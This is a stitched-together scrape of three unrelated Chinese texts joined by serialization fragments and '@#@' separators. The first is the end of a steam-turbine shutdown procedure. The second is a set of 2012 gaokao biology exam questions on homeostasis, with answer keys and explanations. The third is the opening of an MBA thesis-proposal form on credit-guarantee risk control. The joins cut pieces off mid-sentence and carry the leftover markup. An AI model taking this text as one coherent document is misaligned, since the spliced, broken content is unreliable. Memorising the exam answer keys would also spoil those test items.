@#@@#@高加投入加热蒸汽压力≯0.6Mpa。
@#@@#@高加安全阀校定压值为0.75Mpa。
@#@@#@(5)运行中应作记录;@#@(一般性从略)在1000KW、2000KW、3000KW、4000KW、5000KW、6000KW、8000KW、10000KW、12000KW时,检查汽轮机的汽缸热膨胀及推力轴承温度。
@#@@#@测汽轮机各轴承振动:
@#@(双振幅)。
@#@@#@第八章汽机停机@#@8.1正常停机顺序@#@8.1.1接到停机命令后,先试验交流电动油泵良好。
@#@@#@8.1.2检查自动主汽门状况,门杆不应有卡涩现象。
@#@@#@8.1.3退抽汽(降负荷切除调压器)@#@
(1)逐渐关闭抽汽管路上的电动隔离阀,同时旋转抽汽调压器上的手轮,降低抽汽室压力,隔离门关严后,用电磁阀关抽汽阀。
@#@@#@
(2)慢慢旋转调压器开关手柄,切除调压器,此时同步器所带负荷不低于25%@#@(3)关闭调压器信号管路上的蒸汽门@#@8.1.4在切除调压器时,要和减温减压值班人员密切配合@#@8.1.5在降负荷的过程中退出一抽和低压加热器,关闭抽汽管道上的蒸汽门。
@#@@#@8.1.6以150KW/min速度减负荷,减负荷应均匀,负荷减到1500KW时,停留10-20分钟,然后继续减负荷。
@#@减负荷中应注意的问题:
@#@@#@
(1)在减负荷的过程中应密切注意机组的膨胀及振动,若膨胀明显变化、振动明显增大,应停止减负荷,直到振动消除再继续减负荷。
@#@@#@
(2)在减负荷的过程中,应及时调整水位及汽封。
@#@@#@(3)在减负荷的过程中,应注意调速汽门的动作情况,如有卡涩现象报告值长,采取关主汽门的方法,减负荷解列停机。
@#@@#@8.1.7负荷减到零,向主控室发出“注意”、“可解列”信号,接到主控室发来“注意”、“已解列”信号,手打危急保安器关闭主汽门手轮。
@#@@#@8.1.8投入汽轮油泵@#@8.1.9停止抽气器的运行,然后停止凝结水泵的运行。
@#@、@#@8.1.10记录惰走时间@#@8.1.11开启汽缸各疏水@#@8.1.12手打危急保安器时应注意的问题@#@
(1)注意主汽门关闭是否严密。
@#@@#@
(2)当打闸停机后,应立即调整好送轴封的蒸汽。
@#@@#@(3)电动油泵都故障,应在主油泵压力开始下降之前,升速至额定转速,直到一台油泵修复为止,再继续停机,否则不允许停机。
@#@@#@(4)在转子惰走期间应注意侧听汽轮机声音。
@#@@#@(5)如果必须加速停机,应破坏真空,为此应打开真空破坏门。
@#@@#@8.1.13当转速降至500r/min,凝汽器真空下降到0.04-0.03Mpa停止向轴封供汽。
@#@@#@8.1.14在记录本上记下转子完全静止时间@#@8.1.15在转子完全静止后,必须立即投入盘车装置,再次盘车启动前必须注意电动油泵是否启动。
@#@@#@8.1.16当润滑油温低于35℃时,停用冷油器。
@#@@#@8.1.17在转子静止后1小时,排汽温度又不超过50℃左右时,停循环水泵。
@#@@#@8.1.18当循环水泵停止后,在盘车装置运行期间,如果油温超过45℃应改用备用水源向冷油器供水。
@#@@#@8.1.19关闭电动隔离汽门及旁路门,关闭总汽门,打开主蒸汽管道上的直接疏水门。
@#@@#@8.1.20关闭疏水膨胀箱上通向汽缸本体的各疏水门,严防在静止时漏汽到汽缸内使汽缸和转子的变形。
@#@@#@8.1.21严防停机后漏水到凝汽器汽侧(凝汽器铜管漏水,化学除盐水门漏水),在热状态下淹没转子使大轴弯曲。
@#@@#@8.1.22当停机时,已经知道机组不久将";i:
10;s:
26910:
"H单元稳态与脊椎动物生命活动的调节高考真题+模拟新题要点@#@H单元 稳态与脊椎动物生命活动的调节@#@H1人体内环境与稳态及水和无机盐的平衡@#@3.H1[2012·@#@课标全国卷]哺乳动物因长时间未饮水导致机体脱水时,会发生的生理现象是( )@#@A.血浆渗透压降低@#@B.抗利尿激素分泌增加@#@C.下丘脑渗透压感受器受到的刺激减弱@#@D.肾小管和集合管对水的重吸收作用减弱@#@3.B [解析]本题考查哺乳动物内环境稳态及其调节,考查学生的理解能力。
@#@哺乳动物脱水时,细胞外液的渗透压会升高,血浆渗透压也会升高,对下丘脑渗透压感受器的刺激增强,从而产生更多的抗利尿激素,促进肾小管和集合管对水分的重吸收,所以B正确。
@#@@#@H2血糖的平衡与调节及体温的平衡与调节@#@24.H2[2012·@#@山东卷]哺乳动物肝细胞内糖代谢的部分过程如图所示。
@#@@#@
(1)图中X物质为________。
@#@在有氧条件下,该物质和水彻底分解成二氧化碳和[H],该过程在________中进行。
@#@@#@
(2)血糖浓度升高时,葡萄糖进入肝细胞后可合成________,多余的葡萄糖还可转化成________以储存能量。
@#@@#@(3)胰腺中________分泌的胰高血糖素,与肝细胞膜上的受体结合后调节糖代谢过程,这反映了细胞膜具有______________的功能。
@#@@#@(4)用14C标记的葡萄糖研究肝细胞内糖代谢的过程中,发现血浆中的白蛋白亦出现放射性。
@#@在白蛋白合成和分泌过程中,依次出现放射性的细胞器是________。
@#@@#@24.
(1)丙酮酸 线粒体基质@#@
(2)肝糖原(或肝糖元) 脂肪@#@(3)胰岛A细胞 细胞间信息交流(或细胞间信息传递)@#@(4)核糖体、内质网、高尔基体@#@[解析]本题综合考查糖类代谢、血糖平衡的调节及分泌蛋白合成等知识点,旨在考查学生理解、分析问题的能力。
@#@
(1)由图可知,物质X由葡萄糖转化而来,并进入线粒体中,可以判定X为丙酮酸;@#@有氧条件下,丙酮酸在线粒体基质中彻底氧化分解为二氧化碳和[H],并释放出少量的能量。
@#@
(2)血糖浓度升高时,葡萄糖进入肝细胞并合成肝糖原,储存能量;@#@还可促进多余的葡萄糖转化成脂肪储存能量。
@#@(3)胰高血糖素由胰腺中的胰岛A细胞分泌;@#@激素与细胞膜上的受体结合后调节细胞内的代谢过程,体现了细胞膜的信息传递功能。
@#@(4)葡萄糖可转化为丙氨酸,用14C标记葡萄糖后,部分丙氨酸中会出现放射性,丙氨酸是合成蛋白质的原料之一;@#@分泌蛋白是在核糖体中合成,经过内质网的加工、高尔基体的再加工和包装,通过囊泡的运输最终分泌到细胞外。
@#@因此依次出现放射性的细胞器是核糖体、内质网、高尔基体。
@#@@#@25.H2[2012·@#@江苏卷]糖耐量受损(IGT)的人表现为空腹血糖浓度正常、负荷(如饮食)后血糖浓度升高异常。
@#@为了探究运动对IGT的干预情况,受试者于餐后进行中等强度持续运动30min,定时采样测定血糖浓度及胰岛素含量,实验结果如图4所示。
@#@由此可初步推测( )@#@图4@#@A.餐后60min时,胰岛素分泌下降导致血糖浓度低于对照组@#@B.餐后适度运动可降低IGT人群餐后血糖峰值和胰岛素升高幅度@#@C.餐后适度运动使IGT人群胰岛素分泌高峰提前,血糖浓度下降@#@D.餐后适度运动可以减轻IGT人群胰岛B细胞的分泌负担@#@25.BCD [解析]本题考查人血糖浓度及胰岛素浓度变化与餐后运动的关系,解决题目的关键在于分析图中所给的信息。
@#@由图中信息可知,餐后45分钟运动结束至60分钟,血糖浓度低于对照组,原因不是因为胰岛素分泌减少,而是在运动过程中血糖的不断消耗及胰岛素分泌峰值比对照组提前,出现在餐后45分钟,故A错。
@#@通过比较对照组和实验组(IGT)人群餐后血糖峰值和胰岛素升高幅度可知B项正确。
@#@比较对照组和实验组(IGT)人群的胰岛素分泌峰值所对应的时间及两者血糖浓度变化曲线可知C项正确。
@#@餐后运动的实验组血糖浓度会因为消耗有所降低,能减少对胰岛B细胞的刺激,减轻胰岛B细胞的负担,D项正确。
@#@@#@H3神经调节及动物行为产生的生理基础@#@4.H3[2012·@#@浙江卷]下列关于神经肌肉(肌肉指骨骼肌)接点及其相关结构和功能的叙述,正确的是( )@#@A.一个骨骼肌细胞中只有一个细胞核@#@B.神经肌肉接点的突触间隙中有组织液@#@C.突触后膜的表面积与突触前膜的相同@#@D.一个乙酰胆碱分子可使突触后膜产生动作电位@#@4.B [解析]本题考查神经调节内容,考查学生对神经调节内容的理解和分析能力。
@#@骨骼肌细胞中,每一个肌细胞靠近细胞膜处有许多细胞核,这是因为在发育过程中,它是由许多胚胎细胞经细胞融合而成。
@#@神经肌肉接点的突触间隙是细胞赖以生存的内环境,成分是组织液。
@#@突触后膜比前膜更大,这样才能更有效地接受突触前膜发出的信号。
@#@乙酰胆碱可以和突触后膜上的乙酰胆碱受体结合,这种受体是一种通道蛋白,结合后通道开放,改变突触后膜对离子的通透性,引起突触后膜去极化,形成一个小电位。
@#@这种电位并不能传播,但随着乙酰胆碱与受体结合的增加,开放的通道增多,电位可加大。
@#@当电位达到一定阈值时,可在肌膜上引起一个动作电位,即只有当多个乙酰胆碱分子与多个受体结合后,才能引起动作电位。
@#@所以答案选B。
@#@@#@25.H3[2012·@#@山东卷]人手指意外触到蜡烛火焰,引起屈肘反射。
@#@其反射弧示意图如下。
@#@@#@
(1)图中神经元a产生的兴奋在传入神经纤维上以________形式进行传导。
@#@当神经冲动传到神经末梢时,引起突触前膜内________释放神经递质,该递质与神经元b细胞膜上________结合,使神经元b兴奋。
@#@神经元b的神经冲动进一步引起神经元c兴奋,最终导致屈肌收缩。
@#@@#@
(2)图中M点兴奋时,此处神经纤维膜两侧的电位表现为________。
@#@若N点受刺激产生兴奋,则在神经元b上________(填“有”或“无”)膜电位的变化,其原因是________________________________________________________________________。
@#@@#@(3)手指意外触到火焰引起局部皮肤红肿,是因为皮肤毛细血管舒张和通透性增加,________________引起组织间隙液体积聚。
@#@若手指伤口感染,可引起体液中吞噬细胞和杀菌物质抵制病菌侵害,此过程属于________免疫。
@#@@#@25.
(1)局部电流(或电信号、神经冲动) 突触小泡 (特异性)受体@#@
(2)内正外负 无 兴奋在神经元之间只能单向传递@#@(3)血浆中的蛋白质和液体渗出 非特异性@#@[解析]本题主要考查动作电位的产生、兴奋的传导、传递及免疫等知识点。
@#@
(1)兴奋在神经纤维以局部电流的形式传导,即神经冲动,突触前膜内的突触小泡受到刺激,就会释放神经递质,然后与突触后膜上的特异性受体结合,引起突触后膜电位变化,引起下一神经元兴奋。
@#@
(2)M点静息电位时电荷分布为内负外正,受刺激后变为内正外负;@#@根据M上有神经节可判定M为传入神经,b为神经中枢,N是传出神经,屈肌和伸肌是效应器;@#@N点受刺激产生兴奋能在该神经元内传导,也能传到肌肉,由于神经元间的传递具有单向性,不能传到上一个神经元b。
@#@(3)毛细血管舒张和通透性增加会使血浆中的蛋白质和液体渗出进入组织液引起组织液积聚;@#@体液中吞噬细胞和杀菌物质抵御病菌为人体免疫第二道防线,是非特异性免疫。
@#@@#@1.H3[2012·@#@全国卷]下列关于膝跳反射的叙述,错误的是( )@#@A.反射活动由一定的刺激引起@#@B.反射活动中兴奋在突触处双向传递@#@C.反射活动的发生需要反射弧结构完整@#@D.反射活动中需要神经递质参与兴奋的传递@#@1.B [解析]本题考查反射活动和兴奋在神经元之间的传递的相关知识。
@#@反射活动是指在中枢神经系统参与下,动物体和人对体内外的环境变化(刺激)作出的规律性应答(反应),A项正确;@#@反射的结构基础是反射弧,只有保证反射弧的完整性才能建立反射活动,C项正确;@#@兴奋在神经元之间传递时需要神经递质的参与,D项正确;@#@兴奋在突触处传递只能由突触前膜释放递质,作用于突触后膜,所以兴奋在突触处是单向传递的,B项错误。
@#@@#@30.H3[2012·@#@课标全国卷]肺牵张反射是调节呼吸的反射之一,图(a)为肺牵张反射示意图。
@#@该反射的感受器位于肺中。
@#@深吸气后肺扩张,感受器兴奋,神经冲动经传入神经传入脑干,抑制吸气,引起呼气。
@#@@#@ 图(a) 图(b)@#@图4@#@回答下列问题:
@#@@#@
(1)图(a)中a、b、c、d是反射弧的组成部分,a是______,b是________,c是________,d是________。
@#@@#@
(2)人体要屏住呼吸必须受到图(a)中________的调控。
@#@@#@(3)图(a)中神经元①和②之间形成的突触[放大后的突触如图(b)所示]中,突触小体是神经元①的________(填“轴突”、“树突”或“细胞体”)末端膨大形成的,突触后膜位于神经元②的________(填“轴突”、“树突”或“细胞体”)。
@#@@#@30.
(1)神经中枢 传入神经 传出神经 效应器@#@
(2)大脑皮层 (3)轴突 细胞体@#@[解析]本题考查反射弧和突触的结构,考查学生的识图能力与理解、分析能力。
@#@@#@
(1)结合题中图形和题干中给出“深吸气后肺扩张”的信息可知,肺中感受器兴奋,神经冲动经过传入神经传入脑干,脑干经分析综合发出信息,经传出神经到达效应器——扩张肌,完成反射。
@#@因此可以判断出b为传入神经,a为神经中枢,c为传出神经,d为对应的效应器。
@#@
(2)屏住呼吸属于条件反射,所以其调控中枢为图(a)中的大脑皮层。
@#@(3)观察图(a),我们可以看到神经元①的细胞体在大脑皮层,所以构成突触小体是由该神经元的轴突末端膨大形成;@#@而观察图(b)我们可以看到突触小体是与神经元②的细胞体接触的,所以突触后膜是位于该神经元的细胞体上。
@#@@#@4.H3[2012·@#@课标全国卷]当人看到酸梅时唾液分泌会大量增加。
@#@对此现象的分析,错误的是( )@#@A.这一反射过程需要大脑皮层的参与@#@B.这是一种反射活动,其效应器是唾液腺@#@C.酸梅色泽直接刺激神经中枢引起唾液分泌@#@D.这一过程中有“电-化学-电”信号的转化@#@4.C [解析]本题考查反射、反射弧的结构和兴奋的传递,考查学生的分析与推理能力。
@#@当人并没吃到酸梅,但是看到酸梅时联想到酸梅的味道,从而引起唾液分泌大量增加,这是一种条件反射活动,需要大脑皮层的参与,该反射过程中效应器是其所支配的唾液腺,在这个过程中,酸梅的色泽并不能直接刺激神经中枢。
@#@在整个反射过程中兴奋经突触传递时,会有“电—化学—电”信号形式的转化。
@#@@#@29.H3[2012·@#@江苏卷]为了研究乙醇对人体神经行为能力的影响,科研人员选取若干自愿者,等量饮用同一种酒,参照世卫组织神经行为能力测试标准,测试简单反应时(对简单信号作出反应的最短时间)、视觉保留(对视觉信号记忆的准确数)和血液中乙醇浓度。
@#@以受试者自身未饮酒时为对照,计算能力指数相对值,结果如图9所示。
@#@请回答下列问题:
@#@@#@图9@#@
(1)测试期间受试者血液中乙醇浓度的变化说明人体能通过调节维持________。
@#@@#@
(2)随着血液中乙醇浓度的迅速升高,神经行为能力指数相对值明显降低,可以推测乙醇会________兴奋在相应反射弧上的传输时间,从而降低了机体的反应速度和判断能力。
@#@@#@(3)对视觉信号作出判断与反应需经过的神经中枢位于________________。
@#@@#@(4)动物实验显示,乙醇能增加脑组织中某种抑制性神经递质与相应受体的结合。
@#@由此推测乙醇可能影响了兴奋在________处的传输。
@#@@#@(5)凡有神经系统疾患、视听觉及手部运动障碍者不能作为测试对象,原因是受试者的________必须结构完整和功能正常;@#@甲状腺功能亢进的患者也不宜作为受试者,原因是________________________________________________________________________,@#@从而干扰测试结果。
@#@@#@29.
(1)稳态
(2)延长@#@(3)大脑皮层和脊髓 (4)突触@#@(5)反射弧 甲状腺激素分泌过多会提高神经系统的兴奋性@#@[解析]本题考查内环境的稳态及神经调节,考查学生曲线分析及理解能力。
@#@
(1)据图可知,饮酒后血液中乙醇浓度经过一段时间后基本恢复饮酒前水平,表明人体具有维持稳态的能力。
@#@
(2)机体反应速度和判断能力降低,说明完成反射需要的时间延长。
@#@(3)视觉中枢位于大脑皮层,是视觉形成的部位;@#@控制躯体运动的低级中枢位于脊髓,控制简单反应的发生。
@#@(4)神经递质由突触前膜释放,与突触后膜上的受体特异性结合,据此可知,乙醇影响突触处的兴奋传递。
@#@(5)反射完成的前提是完整的反射弧,若受试者患有神经系统疾患,则无法判断乙醇的影响。
@#@甲状腺激素能提高神经系统兴奋性,因此会干扰乙醇对神经行为影响的实验结果。
@#@@#@2.H3[2012·@#@安徽卷]蛙的神经元内、外Na+浓度分别是15mmol/L和120mmol/L。
@#@在膜电位由内负外正转变为内正外负过程中有Na+流入细胞,膜电位恢复过程中有Na+排出细胞。
@#@下列判断正确的是( )@#@A.Na+流入是被动运输、排出是主动运输@#@B.Na+流入是主动运输、排出是被动运输@#@C.Na+流入和排出都是被动运输@#@D.Na+流入和排出都是主动运输@#@2.A [解析]本题考查动作电位的产生及静息电位的恢复过程中离子的跨膜运输方式,考查学生的理解能力。
@#@当神经元受到适宜强度的刺激时,Na+通道打开,Na+大量内流,膜电位由内负外正转变为内正外负,这种通过通道的形式,由高浓度一侧到低浓度一侧的运输方式为被动运输;@#@膜电位恢复过程中,Na+的排出是在Na+-K+泵(ATP酶)的作用下,消耗能量而完成的,属于主动运输,A正确。
@#@@#@H4体液调节(激素调节)@#@27.H4、J4[2012·@#@广东卷]罗非鱼是杂食性鱼类,在珠江三角洲地区大量养殖,能适应咸、淡水环境。
@#@@#@
(1)当罗非鱼由淡水进入咸水,机体会大量脱水,细胞外液渗透压________,渗透压感受器产生兴奋,并将兴奋传给________,促使其释放________,该物质促进肾小管和集合管重吸收水,使尿量减少以适应咸水环境。
@#@@#@
(2)某实验基地水库中放养了一批罗非鱼。
@#@监测数据显示,a~e段这种罗非鱼的种群数量发生了明显波动,调查发现有人在该水库中放生了大型肉食性鱼(FNE);@#@一段时间后,罗非鱼种群数量达到了相对稳定状态(见图2)。
@#@图中显示,罗非鱼种群在a~b段呈________型增长。
@#@据图推测,FNE最可能是在________对应的时间点进入水库;@#@在捕食压力下,罗非鱼种群的环境容纳量接近________。
@#@@#@注:
@#@K0是罗非鱼种群在理想条件下的环境容纳量@#@图2@#@(3)富营养化导致藻类大量繁殖,该水库出现水华现象,浮游动物和鱼类均受到影响。
@#@请用文字和箭头描述藻毒素从产毒藻逐级积累到FNE体内的途径。
@#@@#@ @#@@#@27.
(1)升高 垂体 抗利尿激素
(2)J b K2@#@(3)产毒藻―→浮游动物―→杂食性鱼类(罗非鱼)―→FNE@#@ @#@@#@ @#@[解析]
(1)根据题意,外界咸水的浓度高于罗非鱼体液的浓度,造成失水,随着体液中水分的流失,所以细胞外液渗透压升高,而下丘脑存在渗透压感受器,在接受到刺激后,下丘脑分泌的抗利尿激素会通过垂体释放,抗利尿激素作用于肾小管和集合管,促进该处对水分的重吸收,使尿量减少,以此来维持体内水分的平衡。
@#@
(2)根据图示罗非鱼种群在a~b段呈J型增长,从b点后开始环境阻力加大,所以,最可能是在b点放入大型肉食性鱼,并且一段时间后在K2附近波动。
@#@(3)根据题意分析可以获得捕食关系:
@#@@#@产毒藻浮游动物杂食性鱼类(罗非鱼)FNE@#@,藻毒素沿着食物链(网)逐级富集。
@#@@#@30.H4、K2[2012·@#@安徽卷]Ⅰ.机体激素含量的相对稳定对维持稳态有重要作用。
@#@@#@
(1)内分泌腺没有导管,分泌的激素__________________________。
@#@因此,临床上可通过抽取血样来检测内分泌系统的疾病。
@#@某甲状腺功能障碍患者,检测到体内有一种促甲状腺激素(TSH)受体的抗体,该抗体阻断TSH的效应,则该患者血液中TSH含量比正常值________。
@#@另一甲状腺功能障碍患者,下丘脑功能正常,血液中TSH和甲状腺激素(TH)含量明显低于正常值,为诊断病因,静脉注射TSH后,TH含量明显升高,表明该患者________部位发生了病变。
@#@@#@
(2)下丘脑的__________受中枢神经系统活动调节并释放激素,从而调节垂体激素的分泌。
@#@TH对垂体的反馈抑制作用与促甲状腺激素释放激素(TRH)的刺激作用________、相互影响,共同维持机体TSH含量的稳定。
@#@TH能进入垂体TSH分泌细胞内发挥作用,表明该细胞能通过____________接受信息。
@#@@#@Ⅱ.某弃耕地的主要食物链由植物→田鼠→鼬构成。
@#@生态学家对此食物链能量流动进行了研究,结果如下表,单位是J/(hm2·@#@a)。
@#@@#@植物@#@田鼠@#@鼬@#@固定的@#@太阳能@#@摄入量@#@同化量@#@呼吸量@#@摄入量@#@同化量@#@呼吸量@#@2.45×@#@1011@#@1.05×@#@109@#@7.50×@#@108@#@7.15×@#@108@#@2.44×@#@107@#@2.25×@#@107@#@2.18×@#@107@#@
(1)能量从田鼠传递到鼬的效率是________。
@#@@#@
(2)在研究能量流动时,可通过标志重捕法调查田鼠种群密度。
@#@在1hm2范围内,第一次捕获并标记40只田鼠,第二次捕获30只,其中有标记的15只。
@#@该种群密度是________只/hm2。
@#@若标记的田鼠有部分被鼬捕食,则会导致种群密度估算结果________。
@#@@#@(3)田鼠和鼬都是恒温动物,同化的能量中只有3%~5%用于________________________,其余在呼吸作用中以热能的形式散失。
@#@@#@(4)鼬能够依据田鼠留下的气味去猎捕后者,田鼠同样也能够依据鼬的气味或行为躲避猎捕。
@#@可见,信息能够________________,维持生态系统的稳定。
@#@@#@30.Ⅰ.
(1)弥散到体液中,随血液流到全身 高 (腺)垂体@#@
(2)神经分泌细胞 相互拮抗 细胞内受体@#@Ⅱ.
(1)3%
(2)80 偏高@#@(3)生长、发育、繁殖等生命活动@#@(4)调节生物的种间关系@#@[解析]本题主要考查动物激素的调节和生态系统的能量流动,考查学生的分析、推理、计算能力。
@#@Ⅰ.
(1)若抗体阻断了TSH的效应,导致体内甲状腺激素的含量比正常值低,对下丘脑和垂体的负反馈调节作用将减弱,垂体合成和分泌的TSH会增加。
@#@TSH是垂体合成和分泌的激素,给患者静脉注射TSH后,TH含量明显升高,表明患者(腺)垂体发生了病变。
@#@
(2)中枢神经系统能够调节下丘脑神经分泌细胞合成并释放激素,促甲状腺激素释放激素可以促进垂体合成和分泌促甲状腺激素,而TH对垂体的作用正好相反,故促甲状腺激素释放激素与TH对垂体的作用是相互拮抗。
@#@TH进入垂体分泌细胞内再发挥作用,说明TH的受体在细胞内。
@#@@#@Ⅱ.
(1)能量传递效率=@#@×@#@100%=(2.25×@#@107)÷@#@(7.50×@#@108)×@#@100%=3%。
@#@
(2)设种群密度为m只/hm2,则@#@=@#@,m=80,由计算公式可知,若标记的田鼠有部分被鼬捕食,则m值会偏高。
@#@(3)在不考虑能量未被利用、被下一营养级利用、被分解者分解的情况下,某营养级同化的能量主要用于呼吸作用消耗和自身的生长、发育、繁殖等生命活动。
@#@(4)生态系统的信息传递能够调节生物的种间关系,维持生态系统的稳定。
@#@@#@H5免疫调节及免疫失调@#@3.H5[2012·@#@重庆卷]麻疹病毒减毒活疫苗的广泛接种,显著降低了麻疹的发病率。
@#@世界卫生组织已将麻疹列为优先消灭目标。
@#@下列相关叙述正确的是( )@#@A.该疫苗是小分子物质,其表面的抗原决定簇可被免疫细胞识别@#@B.初次接种该疫苗后,刺激机体免疫系统,可产生效应T细胞和抗体@#@C.再次接种该疫苗后,记忆细胞分化成效应B细胞释放淋巴因子@#@D.入侵的麻疹病毒被抗体结合失去致病能力,被T细胞吞噬消化@#@3.B [解析]本题考查免疫的有关知识。
@#@麻疹疫苗是减毒活的麻疹病毒,病毒是由蛋白质外壳和核酸分子组成,因此应该是大分子物质,A错;@#@疫苗初次进入人体,可以引起机体的特异性免疫反应,产生效应细胞、记忆细胞和抗体,B正确;@#@淋巴因子是由效应T细胞分泌的,C错;@#@麻疹病毒与抗体结合后,被吞噬细胞吞噬消化,而不是T细胞,D错。
@#@@#@3.H5[2012·@#@四川卷]科研人员为研究脾脏中某种淋巴细胞(简称M细胞)在免疫应答中的作用,进行了如下实验:
@#@@#@组别@#@处理方式@#@检测结果@#@实验组@#@用肺癌细胞抗原处理M细胞后,分离出M细胞与胸腺淋巴细胞混合培养,再分离出胸腺淋巴细胞与肺癌细胞混合培养@#@部分淋巴细胞能杀伤肺癌细胞@#@对照组@#@未经处理的胸腺淋巴细胞与肺癌细胞混合培养@#@淋巴细胞均不能杀伤肺癌细胞@#@下列对该实验的相关分析,不正确的是( )@#@A.实验证明M细胞能够将肺癌细胞抗原呈递给胸腺淋巴细胞@#@B.经M细胞刺激后部分胸腺淋巴细胞增殖分化形成效应细胞@#@C.实验组培养液中含有能增强效应T细胞杀伤力的淋巴因子@#@D.实验组培养液中含有能特异性识别肺癌抗原的免疫球蛋白@#@3.D [解析]本题考查免疫调节的有关知识。
@#@T细胞是在胸腺中发育成的,因此表中的胸腺淋巴细胞指的是T细胞,M细胞与胸腺淋巴细胞(T细胞)混合培养后,胸腺淋巴细胞再与肺癌细胞混合培养,能杀伤肺癌细胞,可见M细胞能够将肺癌细胞抗原呈递给胸腺淋巴细胞,使其增殖分化为效应T细胞,并会有淋巴因子分泌出来,淋巴因子的作用是增强某些免疫细胞的杀伤力,因此A、B、C三项的说法都是正确的;@#@实验中并未涉及B细胞,因此也就不会有效应B细胞产生,当然实验组的培养液中不会含有抗体,D错误。
@#@@#@32.H5[2012·@#@全国卷]回答下列问题:
@#@@#@
(1)大多数病毒进入人体内经过____________细胞的摄取和处理,使____________暴露于抗原的表面,并将抗原呈递给T细胞,刺激T细胞分泌____________。
@#@@#@
(2)人体接种甲型H1N1流感疫苗后,一段时间内当甲型H1N1流感病毒侵染机体时,不易患病,其主要原因是________________________________________________________________________。
@#@@#@(3)一种病毒含有________(填“1种”或“2种”)核酸。
@#@@#@(4)灭活的仙台病毒在动物细胞工程中可用于诱导________。
@#@@#@32.
(1)吞噬 抗原决定簇 淋巴因子@#@
(2)当记忆细胞受到甲型H1N1流感病毒刺激后,迅速增殖分化,形成大量的效应B细胞,分泌抗体,清除病毒@#@(3)1种@#@(4)细胞融合@#@[解析]
(1)病毒等病原体侵入机体后,首先经过吞噬细胞的摄取和处理,从而暴露出抗原决定簇,然后将抗原呈递给T细胞,并使T细胞分泌淋巴因子。
@#@
(2)甲型H1N1流感疫苗即抗原,进入机体后引起特异性免疫反应,产生相应的记忆细胞,当甲型H1N1流感病毒进入机体时(相当于二次侵入),记忆细胞迅速识别并增殖分化出效应B细胞和记忆细胞,效应B细胞产生大量的抗体,将病毒消灭。
@#@(3)病毒没有细胞结构,主要由核酸与蛋白质组成,一种病毒只含有一种核酸,即DNA或RNA。
@#@(4)在动物细胞融合时,常用灭活的病毒作为诱导剂。
@#@@#@5.H5[2012·@#@广东卷]有关人体免疫的叙述,正确的是( )@#@A.机体主要依赖免疫调节维持内环境稳态@#@B.病原微生物侵袭,可引起机体产生特异性免疫@#@C.特异性免疫过程中,只有T细胞产生记忆细胞@#@D.如果神经中枢受损,机体的特异性免疫功能完全丧失@#@5.B [解析]神经—体液—免疫调节网络是机体维持内环境稳态的主要调节机制,所以A错。
@#@免疫系统的防卫功能通过三道防线起作用,病原微生物侵袭,可引起机体产生特异性免疫,B正确。
@#@在特异性免疫的过程中,T细胞和B细胞都可以产生相应的记忆细胞,所以C错。
@#@神经中枢受损,不会导致特异性免疫功能完全丧失。
@#@@#@4.H5[2012·@#@福建卷]将小鼠B细胞注入家兔体内,";i:
11;s:
28709:
"0309王光林开题报告修改意见@#@ 专业学位论文开题报告@#@(以上内容、格式不可更改)@#@论文名称我国信用担保机构风险控制问题研究——以贵州为例@#@姓名@#@学号(仿宋,四号,字符间距标准)@#@导师姓名@#@培养单位贵州财经学院MBA中心 @#@研究方向(仿宋,四号,字符间距标准)@#@入学时间×@#@×@#@年×@#@月@#@ @#@@#@贵州财经学院学位委员办公室制表@#@年月日@#@ @#@@#@填表须知@#@一、填写本表前,MBA学员应根据本表各部分要求写出初稿,由指导教师小组组织,在MBA中心公开作专业学位论文工作的开题报告。
@#@@#@二、参照指导教师小组意见修改初稿后正式填写本表,所填内容一经确定,一般不随意变动。
@#@@#@三、本表各部分如不够填写,可自行加页。
@#@@#@四、本表一式二份。
@#@下载表格电子文档填写后打印,但不得以打印后纸质粘贴的方式填写。
@#@如不够填写,可另附页。
@#@@#@五、本表从贵州财经学院MBA中心网站下载,并以A4纸双面打印。
@#@@#@ @#@@#@一、选题背景及研究意义(选题背景要介绍国内外在该方向的研究现状及评述,研究意义可以从理论和实践两个方面进行阐述,不少于3000字。
@#@)@#@以下内容为宋体,小四,单倍行距,双面打印@#@
(一)选题背景@#@随着我国经济的迅猛发展,中小企业已经成为我国经济的重要组成部分,是促进我国社会发展和国民经济水平的主要力量,也是我国目前产业结构中最具活力和影响力的企业形态。
@#@中小企业为社会提供了广泛的就业岗位,在技术革新、活跃市场以及促进社会稳定等方面发挥了重要作用,因此加快我国中小企业发展已经成为一项重要国策,也是我国目前经济建设的核心任务。
@#@@#@但是,中小企业的生产发展面临许多难题,与国内大型企业相比,中小企业融资渠道少,融资能力低,规模小,经营管理水平低,信用等级不高,这些都导致其贷款风险高,因此无论在直接还是间接融资市场都很难筹得资金,此外,我国政府对于中小企业发展的优惠政策还没有普遍建立,因此,融资难已经成为目前中小企业面临的最突出问题,已经成为阻碍中小企业快速成长的首要因素。
@#@@#@与此同时,我国中小企业因为其信用不足或者信用不稳定,很难为贷款提供有效担保,这种情况下,如果银行给予中小企业贷款将面临较高的道德风险和财务风险,因此银行通常对中小企业贷款持有谨慎态度或者是不愿意提供贷款,最终导致银行有钱贷不出去,企业缺钱贷不来款的尴尬局面。
@#@@#@信用担保的出现解决了“银企之难”的局面,这点已经得到国内理论界包括实务界的共识。
@#@信用担保承担了原本银行无法承担的部分信贷风险,担保机构通过其承担的风险获得担保收入。
@#@然而担保行业本身具有极高的风险性,它是国际公认的具有高风险的行业,担保机构的风险问题一直以来都是世界各国共同的难题。
@#@我们知道在世界金融危机爆发的时候,国内很多中小企业纷纷倒闭,担保机构面临重大危机,企业爆发的信用风险,项目的代偿,使得许多担保公司濒临破产。
@#@@#@前车之鉴不能忘记,加强担保机构的风险管理水平,解决担保机构目前面临的各种问题,提高其抵御风险的能力和卓越的竞争力再一次引起国内外学者的广泛关注。
@#@完善信用担保机构的风险控制水平已经成为现阶段担保行业工作的重中之重。
@#@基于此,本文将选题方向初步拟定为我国信用担保机构的风险管理研究。
@#@@#@
(二)选题意义@#@从理论上讲,信用担保机构有效解决了企业和银行之间双方面的难题,其在帮助国内中小企业融资方面功勋卓越,在很大程度上改良了融资难的瓶颈,与此同时,信用担保分摊了银行所不能承担的部分风险,有效降低了银行方面的呆账坏账。
@#@经过最近几年的探索和实践,我们发现,信用担保机构在协助中小企业建立信用观念、缓解其融资难局面、改善其融资环境等方面贡献极大,其发挥的重要作用不可忽视。
@#@@#@从实践上讲,担保公司的风险管理研究,不仅帮助中小企业缓解融资难担保难困境,推动中小企业健康快速发展,而且有利于推动我国信用担保行业规范、健康、可持续发展,也有利于我国金融体系市场化,与国际接轨。
